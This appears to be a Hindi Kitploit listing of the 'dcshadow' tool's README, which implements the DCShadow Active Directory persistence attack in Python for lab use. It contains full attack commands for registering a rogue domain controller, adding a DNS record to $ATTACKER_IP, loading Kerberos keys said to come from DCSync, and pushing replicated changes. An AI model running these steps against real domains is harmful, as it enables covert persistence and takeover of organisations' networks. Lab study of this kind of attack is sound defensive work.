Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dcshadow — Python alternative to Mimikatz lsadump::dcshadow | Kitploit
उपकरण/GitHubGitHub/shutdownrepo/dcshadow
Defensive ToolsPersistence MechanismsPost-ExploitationPenetration TestingRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python alternative to Mimikatz lsadump::dcshadow

रिपॉजिटरी देखें
162171 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

[!WARNING] इसे PRODUCTION में न चलाएँ। यह लैब परीक्षण के लिए है, ताकि blue teams IoCs, event types और व्यवहार की पहचान करने पर काम कर सकें। साथ ही, यह टूल "जैसा है वैसा" (as-is) प्रदान किया गया है। आपके द्वारा बनाए जा सकने वाले pull requests पर मानक समीक्षा के अलावा किसी सहायता की योजना नहीं है। इसे Windows होस्ट से न चलाएँ। इसे linux से या VM से चलाएँ (RPC services संघर्षों से बचने के लिए)।

सिद्धांत

यह प्रोजेक्ट Mimikatz की dcshadow तकनीक का pure-python विकल्प होने के लिए है। इसमें अन्य चीजों के साथ एक कस्टम Impacket शामिल है जिसमें crypto, gssapi और drsuapi संशोधित हैं।

DCShadow एक शक्तिशाली persistence तकनीक है जिसे अन्य तकनीकों जैसे SID history, KRBTGT RBCD, ACE abuse आदि के लिए परिवहन माना जा सकता है।

यह टूल अधिक बहुमुखी AD persistence फ्रेमवर्क की नींव हो सकता है, जिसका उपयोग हमारा समुदाय इस मामले में अपनी वैश्विक परिपक्वता बढ़ाने के लिए कर सकता है।

इस टूल का परीक्षण GOAD पर किया गया था।

प्रायोगिक उपयोग

0. इंस्टॉल करें

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. मशीन अकाउंट बनाएँ

यह मशीन प्रतिकृति (replication) की अवधि के लिए एक domain controller के रूप में पंजीकृत होगी, और अंत में unregister कर दी जाएगी।

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py को msDS-SupportedEncryptionTypes को 0x1f पर सेट करने के लिए संशोधित किया गया है। नवीनतम परीक्षण एक constraint violation उठाते प्रतीत होते हैं।

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

अभी के लिए, Impacket से नियमित addcomputer.py स्क्रिप्ट का उपयोग करें, और msDS-SupportedEncryptionTypes को ADSI edit के माध्यम से मैन्युअल रूप से संशोधित करें।

2. मशीन के लिए DNS प्रविष्टि

यह आवश्यक है ताकि legit DC को पता चले कि rogue DC तक कैसे पहुँचें और ERROR_DS_DNS_LOOKUP_FAILURE त्रुटियों से बचें।

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] यदि कमांड किसी कारण से काम नहीं करती है, तो domain controller पर DNS टूल्स के माध्यम से DNS प्रविष्टि को मैन्युअल रूप से जोड़ें।

3. Rogue DC क्रेडेंशियल्स

जब हमने इस टूल को विकसित करना शुरू किया था, तो हम .env फ़ाइल में hardcoded क्रेडेंशियल्स का उपयोग कर रहे थे, जो dcshadow/utils/server/RpcServer.py फ़ाइल में gss_kerberos_ap_req फ़ंक्शन में लोड किए गए थे।

इसे स्पष्ट रूप से उन्नत करने की आवश्यकता है। rogue DC अकाउंट का पासवर्ड CLI तर्क के रूप में पारित किया जा सकता है और kerberos कुंजियों की गणना की जा सकती है। Krbrelayx पहले से ही ऐसा करता है, dacledit.py भी, इसे copy-paste करने की आवश्यकता है।

अभी के लिए आपको Kerberos कुंजियों को environment variables के रूप में export करने की आवश्यकता है।

यह कुछ इस प्रकार दिखना चाहिए:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

वे कुंजियाँ DCSync हमले के माध्यम से प्राप्त की जा सकती हैं।

4. DCShadow (JSON फ़ाइल)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] इस मामले में, लक्षित objects और attributes निर्दिष्ट करने के लिए एक repl.json फ़ाइल का उपयोग किया जाता है। वैकल्पिक रूप से, टूल इनलाइन विकल्पों का समर्थन करता है (जैसे, --object, --attribute, और --value)।

सामान्य त्रुटियाँ

DRSReplicaAdd: timed out

यदि DRSReplicaAdd समय समाप्त (timeout) हो जाता है, तो यह संभवतः dcshadow.py (rogue DC) चलाने वाली मशीन पर networking/firewall समस्या है, जो संभवतः 135/TCP (epmapper) और 1337/TCP (या भविष्य में लागू किए जाने पर drsuapi के लिए गतिशील पोर्ट) पर आने वाले ट्रैफ़िक की अनुमति नहीं दे रही है।

DRSReplicaAdd: rpc_s_access_denied

आपको legit domain controller पर Wireshark चलाने की आवश्यकता होगी, लेकिन सबसे संभावित मूल कारण यह है कि आप इसे Windows मशीन पर चलाने का प्रयास कर रहे हैं, जिसका अर्थ है कि जब legit DC आपके rogue DC के epmapper से drsuapi endpoint का पोर्ट पूछता है, तो उत्तर खाली होता है क्योंकि यह आपके स्वयं के Windows मशीन का epmapper है जो प्रतिक्रिया दे रहा है, न कि हमारा कस्टम epmapper।

श्रेय

यह प्रोजेक्ट Alessandro Iandoli "MrAle98" की अपार सहायता के बिना संभव नहीं होता, जो विकास के दौरान मिले एक प्रतिभाशाली शोधकर्ता हैं। धन्यवाद Alessandro!

श्रेय Benjamin Delpy और Vincent Letoux को जाता है, प्रारंभिक खोज, वार्ताओं और Mimikatz में कार्यान्वयन के लिए।

मैं Volker को भी धन्यवाद देना चाहूँगा, जिन्होंने प्रारंभिक विकास में भाग लिया।

Dramelac को धन्यवाद, PoC से मॉड्यूलर प्रोजेक्ट की ओर बढ़ने में मदद के लिए, जो भविष्य के फ्रेमवर्क की नींव है, यदि वह कभी वहाँ पहुँचता है।

टूल डाउनलोड करें